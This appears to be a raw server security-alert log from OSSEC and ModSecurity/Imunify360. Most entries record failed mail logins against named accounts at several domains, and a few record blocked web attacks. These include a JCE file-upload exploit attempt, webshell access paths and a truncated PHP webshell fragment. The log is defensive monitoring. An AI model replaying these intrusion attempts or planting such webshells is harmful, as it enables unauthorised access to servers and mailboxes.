rule: 13001
name: Exim Auth failed
abuser: 82.16.221.216
country_id: 2635167
description:
2026-07-15 01:34:31 dovecot_login authenticator failed for H=([196.191.212.226]) [82.16.221.216]:49734: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.102
country_id: 1269750
description:
2026-07-15 01:34:45 dovecot_login authenticator failed for H=([27.188.184.13]) [182.95.106.102]:52662: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.184.25.18
country_id: 1835841
description:
2026-07-15 01:35:14 dovecot_login authenticator failed for H=([60.174.39.82]) [112.184.25.18]:53446: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.1.51.168
country_id: 2635167
description:
2026-07-15 01:35:20 dovecot_login authenticator failed for H=oldh-13-b2-v4wan-171191-cust935.vm18.cable.virginm.net ([61.177.36.109]) [80.1.51.168]:35032: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.168
country_id: 1835841
description:
2026-07-15 01:39:30 dovecot_login authenticator failed for H=([95.165.25.233]) [121.131.220.168]:49330: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 37.122.149.53
country_id: 6251999
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:a1658.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.237.122
country_id: 1269750
description:
2026-07-15 01:43:11 dovecot_login authenticator failed for H=(2-55-75-176.orange.net.il) [122.187.237.122]:33264: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.147.111.106
country_id: 1522867
description:
2026-07-15 01:43:36 dovecot_login authenticator failed for H=(ipmapt-72-195-34-50.oc.oc.cox.net) [91.147.111.106]:57119: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.158.208.139
country_id: 1668284
description:
2026-07-15 01:48:01 dovecot_login authenticator failed for H=([179.184.85.167]) [49.158.208.139]:54280: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.90.111.74
country_id: 1269750
description:
2026-07-15 01:48:13 dovecot_login authenticator failed for H=(wsip-184-178-172-24.rn.hr.cox.net) [59.90.111.74]:43942: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.209.101.43
country_id: 2077456
description:
2026-07-15 01:48:38 dovecot_login authenticator failed for H=([98.178.72.4]) [123.209.101.43]:54686: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.209.65.70
country_id: 163843
description:
2026-07-15 01:48:52 dovecot_login authenticator failed for H=([183.171.208.25]) [205.209.65.70]:36910: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.234.16.75
country_id: 6252001
description:
2026-07-15 01:50:47 dovecot_login authenticator failed for H=dhcp-72-234-16-75.hawaiiantel.net (187-8-120-90.customer.tdatabrasil.net.br) [72.234.16.75]:57842: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 152.39.242.115
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://macforcrypto.com\">buy apple accessories with bitcoin</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-15 01:56:58 dovecot_login authenticator failed for H=([218.156.8.97]) [119.92.76.210]:57622: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 108.35.129.132
country_id: 6252001
description:
2026-07-15 01:56:48 dovecot_login authenticator failed for H=pool-108-35-129-132.nwrknj.fios.verizon.net ([46.101.9.55]) [108.35.129.132]:48288: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.104.24.6
country_id: 3923057
description:
2026-07-15 01:58:28 dovecot_login authenticator failed for H=([222.86.168.224]) [190.104.24.6]:33954: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.174.78
country_id: 1269750
description:
2026-07-15 01:58:42 dovecot_login authenticator failed for H=([98.181.137.75]) [122.187.174.78]:60360: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.134.45.64
country_id: 6252001
description:
2026-07-15 01:58:55 dovecot_login authenticator failed for H=(ms5ccba58c.ap.nuro.jp) [174.134.45.64]:51146: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.110.136
country_id: 1668284
description:
2026-07-15 02:01:34 dovecot_login authenticator failed for H=110-25-110-136.adsl.fetnet.net ([81.162.102.192]) [110.25.110.136]:60794: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.104.177.102
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d0549462 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.111.110
country_id: 1269750
description:
2026-07-15 02:02:31 dovecot_login authenticator failed for H=([72.206.74.97]) [27.123.111.110]:40758: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.48.32.98
country_id: 1861060
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/ahsmarine/public_html/wp-content/uploads/admin.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.240.192.154
country_id: 2510769
description:
2026-07-15 02:14:07 dovecot_login authenticator failed for H=([61.77.220.62]) [188.240.192.154]:41173: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.222.113.34
country_id: 1269750
description:
2026-07-15 02:14:19 dovecot_login authenticator failed for H=([72.37.217.1]) [117.222.113.34]:52332: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-15 02:17:07 dovecot_login authenticator failed for H=([221.10.221.104]) [1.227.228.131]:50686: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.74.41
country_id: 1527747
description:
2026-07-15 02:18:48 dovecot_login authenticator failed for H=([49.124.151.71]) [92.62.74.41]:45251: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.73.109.194
country_id: 1269750
description:
2026-07-15 02:18:59 dovecot_login authenticator failed for H=([103.174.145.35]) [182.73.109.194]:39578: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.18.27.27
country_id: 1062947
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ec3612584 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.225.58.59
country_id: 6252001
description:
2026-07-15 02:22:46 dovecot_login authenticator failed for H=wsip-68-225-58-59.pn.at.cox.net ([179.181.135.1]) [68.225.58.59]:37324: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.102
country_id: 1269750
description:
2026-07-15 02:22:56 dovecot_login authenticator failed for H=(92x255x196x185.static-customer.kzn.ertelecom.ru) [182.95.106.102]:58882: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:a8f0:b833:1025:88ec:e82f
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.28||T:APACHE||MVN:ARGS:jform[defaultvalue][f_tel_attribute_class]||MV: inputbox visCSSinput ||


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:a8f0:b833:1025:88ec:e82f
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.28||T:APACHE||MVN:ARGS:jform[defaultvalue][f_multicheckbox_attribute_class]||MV:inputbox visCSSbot5||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 167.254.240.75
country_id: 1880251
domain: 103.185.74.189
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.28||T:APACHE||SC:/home/alnay/public_html/administrator/index.php||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 167.254.240.75
country_id: 1880251
domain: 103.185.74.189
description:
IM360 WAF: PHP Injection Low value||MV:<?php error_reporting(0);$t=\"ce3216d5d49b\";if(!isset($_GET[\"t\


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 167.254.240.75
country_id: 1880251
domain: 103.185.74.189
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/tx_5736f418.phtml.json?t=ce3216d5d49b||SC:/home/alnay/public_html/images/tx_5736f418.phtml.json||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.133.156.116
country_id: 294640
description:
2026-07-15 02:30:29 dovecot_plain authenticator failed for H=(geange) [195.133.156.116]:40436: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.12.174.161
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/be3667999 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.245.122.146
country_id: 1269750
description:
2026-07-15 02:41:27 dovecot_login authenticator failed for H=([192.111.130.1]) [115.245.122.146]:54313: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.152.57.60
country_id: 2510769
description:
2026-07-15 02:42:27 dovecot_login authenticator failed for H=([174.75.211.196]) [85.152.57.60]:49973: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.218.247.234
country_id: 1522867
description:
2026-07-15 02:41:56 dovecot_login authenticator failed for H=([31.130.35.29]) [89.218.247.234]:45900: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.176.93
country_id: 2661886
description:
2026-07-15 02:41:57 dovecot_login authenticator failed for H=c83-191-176-93.bredband.tele2.se ([67.201.57.102]) [83.191.176.93]:35012: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.156.127.127
country_id: 1880251
description:
2026-07-15 02:42:48 dovecot_plain authenticator failed for H=(tomanex) [175.156.127.127]:54747: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-07-15 02:42:53 dovecot_plain authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net (overte) [76.132.238.43]:39376: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 152.39.242.115
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 buy apple silicon mac with crypto [<a href=\"https://macforcrypto.com\">https://macforcrypto.com</a>] (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.59.10.205
country_id: 1668284
description:
2026-07-15 02:45:15 dovecot_login authenticator failed for H=116-59-10-205.emome-ip.hinet.net (static-ip-1815407040.cable.net.co) [116.59.10.205]:35652: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.18.218.54
country_id: 3175395
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f4389528 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.159.165.216
country_id: 294640
description:
2026-07-15 02:45:42 dovecot_login authenticator failed for H=([200.149.213.242]) [85.159.165.216]:50395: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.247.84
country_id: 1269750
description:
2026-07-15 02:45:56 dovecot_login authenticator failed for H=([195.239.47.189]) [203.192.247.84]:43940: 535 Incorrect authentication data (set_id=mbt)


